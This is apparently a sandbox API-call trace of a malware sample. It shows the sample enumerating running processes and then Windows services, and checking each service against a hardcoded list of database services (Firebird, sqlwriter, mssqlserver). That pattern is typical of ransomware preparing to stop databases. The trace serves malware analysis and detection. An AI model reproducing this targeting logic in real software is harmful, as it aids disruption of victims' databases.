th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0100.420] lstrlenW (lpString="sihost.exe") returned 10 [0100.420] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.420] lstrlenW (lpString="svchost.exe") returned 11 [0100.420] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0100.421] lstrlenW (lpString="taskhostw.exe") returned 13 [0100.421] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0100.421] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0100.421] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0100.422] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0100.422] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0100.422] lstrlenW (lpString="explorer.exe") returned 12 [0100.423] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0100.423] lstrlenW (lpString="Memory Compression") returned 18 [0100.423] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0100.424] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0100.424] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0100.425] lstrlenW (lpString="SearchUI.exe") returned 12 [0100.425] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0100.425] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0100.425] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0100.426] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0100.426] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0100.426] lstrlenW (lpString="taskhostw.exe") returned 13 [0100.426] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0100.427] lstrlenW (lpString="UsoClient.exe") returned 13 [0100.427] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0100.427] lstrlenW (lpString="taskhostw.exe") returned 13 [0100.427] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0100.428] lstrlenW (lpString="msoia.exe") returned 9 [0100.428] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0100.496] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0100.496] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0100.497] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0100.497] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0100.497] lstrlenW (lpString="msoia.exe") returned 9 [0100.497] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0100.498] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0100.498] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0100.499] lstrlenW (lpString="entering.exe") returned 12 [0100.499] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurement nut d.exe")) returned 1 [0100.499] lstrlenW (lpString="measurement nut d.exe") returned 21 [0100.499] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="ai element.exe")) returned 1 [0100.500] lstrlenW (lpString="ai element.exe") returned 14 [0100.500] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="divorce_mode_twelve.exe")) returned 1 [0100.500] lstrlenW (lpString="divorce_mode_twelve.exe") returned 23 [0100.500] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="clicking.exe")) returned 1 [0100.501] lstrlenW (lpString="clicking.exe") returned 12 [0100.501] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pack.exe")) returned 1 [0100.501] lstrlenW (lpString="pack.exe") returned 8 [0100.501] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="try-gtk.exe")) returned 1 [0100.502] lstrlenW (lpString="try-gtk.exe") returned 11 [0100.502] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counseling tmp.exe")) returned 1 [0100.502] lstrlenW (lpString="counseling tmp.exe") returned 18 [0100.502] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius_johnston_transmission.exe")) returned 1 [0100.503] lstrlenW (lpString="radius_johnston_transmission.exe") returned 32 [0100.503] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="j-portions-folders.exe")) returned 1 [0100.504] lstrlenW (lpString="j-portions-folders.exe") returned 22 [0100.504] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="samuel-clubs.exe")) returned 1 [0100.504] lstrlenW (lpString="samuel-clubs.exe") returned 16 [0100.504] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gaps_industrial.exe")) returned 1 [0100.505] lstrlenW (lpString="gaps_industrial.exe") returned 19 [0100.505] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jerry pure.exe")) returned 1 [0100.506] lstrlenW (lpString="jerry pure.exe") returned 14 [0100.506] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powerseller.exe")) returned 1 [0100.507] lstrlenW (lpString="powerseller.exe") returned 15 [0100.507] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="non firewall.exe")) returned 1 [0100.507] lstrlenW (lpString="non firewall.exe") returned 16 [0100.507] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coal-cottage-vt.exe")) returned 1 [0100.508] lstrlenW (lpString="coal-cottage-vt.exe") returned 19 [0100.508] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="revealsprimarilywalk.exe")) returned 1 [0100.509] lstrlenW (lpString="revealsprimarilywalk.exe") returned 24 [0100.509] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="summer_knitting_map.exe")) returned 1 [0100.509] lstrlenW (lpString="summer_knitting_map.exe") returned 23 [0100.509] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="latina_rv_anything.exe")) returned 1 [0100.510] lstrlenW (lpString="latina_rv_anything.exe") returned 22 [0100.510] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephonyassumption.exe")) returned 1 [0100.511] lstrlenW (lpString="telephonyassumption.exe") returned 23 [0100.511] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bd guidance.exe")) returned 1 [0100.511] lstrlenW (lpString="bd guidance.exe") returned 15 [0100.511] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfb8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0100.512] lstrlenW (lpString="conhost.exe") returned 11 [0100.512] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xf90, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0100.513] lstrlenW (lpString="conhost.exe") returned 11 [0100.513] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lang hl gis.exe")) returned 1 [0100.514] lstrlenW (lpString="lang hl gis.exe") returned 15 [0100.514] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.514] lstrlenW (lpString="svchost.exe") returned 11 [0100.514] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0100.515] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0100.515] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0100.516] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0100.516] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xa7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0100.516] lstrlenW (lpString="conhost.exe") returned 11 [0100.516] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0100.517] lstrlenW (lpString="cmd.exe") returned 7 [0100.517] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0100.517] lstrlenW (lpString="conhost.exe") returned 11 [0100.517] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0100.518] lstrlenW (lpString="sppsvc.exe") returned 10 [0100.518] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0100.519] lstrlenW (lpString="dllhost.exe") returned 11 [0100.519] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0100.520] lstrlenW (lpString="mode.com") returned 8 [0100.520] Process32NextW (in: hSnapshot=0x388, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0100.520] CloseHandle (hObject=0x388) returned 1 [0100.520] Sleep (dwMilliseconds=0x1f4) [0101.490] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x47f460 [0101.490] EnumServicesStatusExW (in: hSCManager=0x47f460, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 0 [0101.491] GetLastError () returned 0xea [0101.491] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1d4a) returned 0x36820c0 [0101.491] EnumServicesStatusExW (in: hSCManager=0x47f460, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36820c0, cbBufSize=0x1d4a, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36820c0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 1 [0101.493] CloseServiceHandle (hSCObject=0x47f460) returned 1 [0101.493] lstrlenW (lpString="Appinfo") returned 7 [0101.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0101.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0101.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0101.493] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0101.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0101.493] lstrlenW (lpString="AppXSvc") returned 7 [0101.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0101.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0101.494] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0101.494] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0101.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0101.494] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0101.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0101.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0101.494] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0101.494] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0101.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0101.494] lstrlenW (lpString="Audiosrv") returned 8 [0101.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0101.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0101.494] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0101.494] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0101.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0101.494] lstrlenW (lpString="BFE") returned 3 [0101.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0101.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0101.495] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0101.495] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0101.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0101.495] lstrlenW (lpString="BITS") returned 4 [0101.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0101.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0101.495] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0101.495] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0101.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0101.495] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0101.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0101.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0101.495] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0101.495] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0101.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0101.495] lstrlenW (lpString="CDPSvc") returned 6 [0101.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0101.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0101.496] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0101.496] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0101.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0101.496] lstrlenW (lpString="ClickToRunSvc") returned 13 [0101.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0101.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0101.496] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0101.496] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0101.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0101.496] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0101.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0101.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0101.496] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0101.496] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0101.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0101.496] lstrlenW (lpString="CryptSvc") returned 8 [0101.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0101.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0101.496] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0101.497] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0101.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0101.497] lstrlenW (lpString="DcomLaunch") returned 10 [0101.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0101.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0101.497] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 